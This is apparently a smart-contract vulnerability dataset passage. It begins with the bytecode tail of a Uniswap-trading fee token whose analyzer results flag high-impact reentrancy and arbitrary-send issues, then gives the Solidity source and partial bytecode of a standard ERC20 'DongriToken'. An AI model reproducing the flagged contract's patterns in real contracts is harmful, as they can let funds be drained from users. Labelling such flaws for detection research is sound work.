b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd1565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613127565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4f565b60405180910390fd5b5060008385611c8a9190613208565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e91565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128be565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300c565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ae565b905082848261209b919061317d565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f11565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4f565b60405180910390fd5b50600083856121de919061317d565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256b565b6123778483612628565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff1565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124788a600854600954612662565b925092509250600061248861215d565b9050600080600061249b8e8787876126f8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251c9190613127565b905083811015612561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255890612ed1565b60405180910390fd5b8091505092915050565b600061257561215d565b9050600061258c828461206b90919063ffffffff16565b90506125e081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263d826006546124c390919063ffffffff16565b6006819055506126588160075461250d90919063ffffffff16565b6007819055505050565b60008060008061268e6064612680888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b860646126aa888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e1826126d3858c6124c390919063ffffffff16565b6124c390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612711858961206b90919063ffffffff16565b90506000612728868961206b90919063ffffffff16565b9050600061273f878961206b90919063ffffffff16565b905060006127688261275a85876124c390919063ffffffff16565b6124c390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279461278f846130a6565b613081565b905080838252602082019050828560208602820111156127b357600080fd5b60005b858110156127e357816127c988826127ed565b8452602084019350602083019250506001810190506127b6565b5050509392505050565b6000813590506127fc816136e4565b92915050565b600081519050612811816136e4565b92915050565b600082601f83011261282857600080fd5b8135612838848260208601612781565b91505092915050565b600081359050612850816136fb565b92915050565b600081519050612865816136fb565b92915050565b60008135905061287a81613712565b92915050565b60008151905061288f81613712565b92915050565b6000602082840312156128a757600080fd5b60006128b5848285016127ed565b91505092915050565b6000602082840312156128d057600080fd5b60006128de84828501612802565b91505092915050565b600080604083850312156128fa57600080fd5b6000612908858286016127ed565b9250506020612919858286016127ed565b9150509250929050565b60008060006060848603121561293857600080fd5b6000612946868287016127ed565b9350506020612957868287016127ed565b92505060406129688682870161286b565b9150509250925092565b6000806040838503121561298557600080fd5b6000612993858286016127ed565b92505060206129a48582860161286b565b9150509250929050565b6000602082840312156129c057600080fd5b600082013567ffffffffffffffff8111156129da57600080fd5b6129e684828501612817565b91505092915050565b600060208284031215612a0157600080fd5b6000612a0f84828501612841565b91505092915050565b600060208284031215612a2a57600080fd5b6000612a3884828501612856565b91505092915050565b600060208284031215612a5357600080fd5b6000612a618482850161286b565b91505092915050565b600080600060608486031215612a7f57600080fd5b6000612a8d86828701612880565b9350506020612a9e86828701612880565b9250506040612aaf86828701612880565b9150509250925092565b6000612ac58383612ad1565b60208301905092915050565b612ada8161323c565b82525050565b612ae98161323c565b82525050565b6000612afa826130e2565b612b048185613105565b9350612b0f836130d2565b8060005b83811015612b40578151612b278882612ab9565b9750612b32836130f8565b925050600181019050612b13565b5085935050505092915050565b612b568161324e565b82525050565b612b6581613291565b82525050565b6000612b76826130ed565b612b808185613116565b9350612b908185602086016132a3565b612b99816133dd565b840191505092915050565b6000612bb1602383613116565b9150612bbc826133ee565b604082019050919050565b6000612bd4602a83613116565b9150612bdf8261343d565b604082019050919050565b6000612bf7602283613116565b9150612c028261348c565b604082019050919050565b6000612c1a601b83613116565b9150612c25826134db565b602082019050919050565b6000612c3d601d83613116565b9150612c4882613504565b602082019050919050565b6000612c60602183613116565b9150612c6b8261352d565b604082019050919050565b6000612c83602083613116565b9150612c8e8261357c565b602082019050919050565b6000612ca6602983613116565b9150612cb1826135a5565b604082019050919050565b6000612cc9602583613116565b9150612cd4826135f4565b604082019050919050565b6000612cec602483613116565b9150612cf782613643565b604082019050919050565b6000612d0f601783613116565b9150612d1a82613692565b602082019050919050565b6000612d32601183613116565b9150612d3d826136bb565b602082019050919050565b612d518161327a565b82525050565b612d6081613284565b82525050565b6000602082019050612d7b6000830184612ae0565b92915050565b6000604082019050612d966000830185612ae0565b612da36020830184612ae0565b9392505050565b6000604082019050612dbf6000830185612ae0565b612dcc6020830184612d48565b9392505050565b600060c082019050612de86000830189612ae0565b612df56020830188612d48565b612e026040830187612b5c565b612e0f6060830186612b5c565b612e1c6080830185612ae0565b612e2960a0830184612d48565b979650505050505050565b6000602082019050612e496000830184612b4d565b92915050565b60006020820190508181036000830152612e698184612b6b565b905092915050565b60006020820190508181036000830152612e8a81612ba4565b9050919050565b60006020820190508181036000830152612eaa81612bc7565b9050919050565b60006020820190508181036000830152612eca81612bea565b9050919050565b60006020820190508181036000830152612eea81612c0d565b9050919050565b60006020820190508181036000830152612f0a81612c30565b9050919050565b60006020820190508181036000830152612f2a81612c53565b9050919050565b60006020820190508181036000830152612f4a81612c76565b9050919050565b60006020820190508181036000830152612f6a81612c99565b9050919050565b60006020820190508181036000830152612f8a81612cbc565b9050919050565b60006020820190508181036000830152612faa81612cdf565b9050919050565b60006020820190508181036000830152612fca81612d02565b9050919050565b60006020820190508181036000830152612fea81612d25565b9050919050565b60006020820190506130066000830184612d48565b92915050565b600060a0820190506130216000830188612d48565b61302e6020830187612b5c565b81810360408301526130408186612aef565b905061304f6060830185612ae0565b61305c6080830184612d48565b9695505050505050565b600060208201905061307b6000830184612d57565b92915050565b600061308b61309c565b905061309782826132d6565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c1576130c06133ae565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131328261327a565b915061313d8361327a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317257613171613350565b5b828201905092915050565b60006131888261327a565b91506131938361327a565b9250826131a3576131a261337f565b5b828204905092915050565b60006131b98261327a565b91506131c48361327a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fd576131fc613350565b5b828202905092915050565b60006132138261327a565b915061321e8361327a565b92508282101561323157613230613350565b5b828203905092915050565b60006132478261325a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329c8261327a565b9050919050565b60005b838110156132c15780820151818401526020810190506132a6565b838111156132d0576000848401525b50505050565b6132df826133dd565b810181811067ffffffffffffffff821117156132fe576132fd6133ae565b5b80604052505050565b60006133128261327a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334557613344613350565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ed8161323c565b81146136f857600080fd5b50565b6137048161324e565b811461370f57600080fd5b50565b61371b8161327a565b811461372657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039c2ff9c1988245088557858449c0455672150f76b09b827ed2d4d710dda584164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,552 |
0xd1d45e794adeb5f0d6f936cb776d76c7b27cc61b | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract DongriToken is StandardToken {
string public name = "DongriToken";
string public symbol = "DON";
uint public decimals = 18;
function DongriToken(uint initialSupply) public {
totalSupply_ = initialSupply;
balances[msg.sender] = initialSupply;
}
} | 0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014257806318160ddd1461019c57806323b872dd146101c5578063313ce5671461023e578063661884631461026757806370a08231146102c157806395d89b411461030e578063a9059cbb1461039c578063d73dd623146103f6578063dd62ed3e14610450575b600080fd5b34156100bf57600080fd5b6100c76104bc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101075780820151818401526020810190506100ec565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014d57600080fd5b610182600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061055a565b604051808215151515815260200191505060405180910390f35b34156101a757600080fd5b6101af61064c565b6040518082815260200191505060405180910390f35b34156101d057600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610656565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b610251610a10565b6040518082815260200191505060405180910390f35b341561027257600080fd5b6102a7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a16565b604051808215151515815260200191505060405180910390f35b34156102cc57600080fd5b6102f8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca7565b6040518082815260200191505060405180910390f35b341561031957600080fd5b610321610cef565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610361578082015181840152602081019050610346565b50505050905090810190601f16801561038e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103a757600080fd5b6103dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d8d565b604051808215151515815260200191505060405180910390f35b341561040157600080fd5b610436600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fac565b604051808215151515815260200191505060405180910390f35b341561045b57600080fd5b6104a6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a8565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105525780601f1061052757610100808354040283529160200191610552565b820191906000526020600020905b81548152906001019060200180831161053557829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561069357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106e057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561076b57600080fd5b6107bc826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061084f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061092082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60055481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b27576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bbb565b610b3a838261122f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d855780601f10610d5a57610100808354040283529160200191610d85565b820191906000526020600020905b815481529060010190602001808311610d6857829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dca57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e1757600080fd5b610e68826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610efb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061103d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff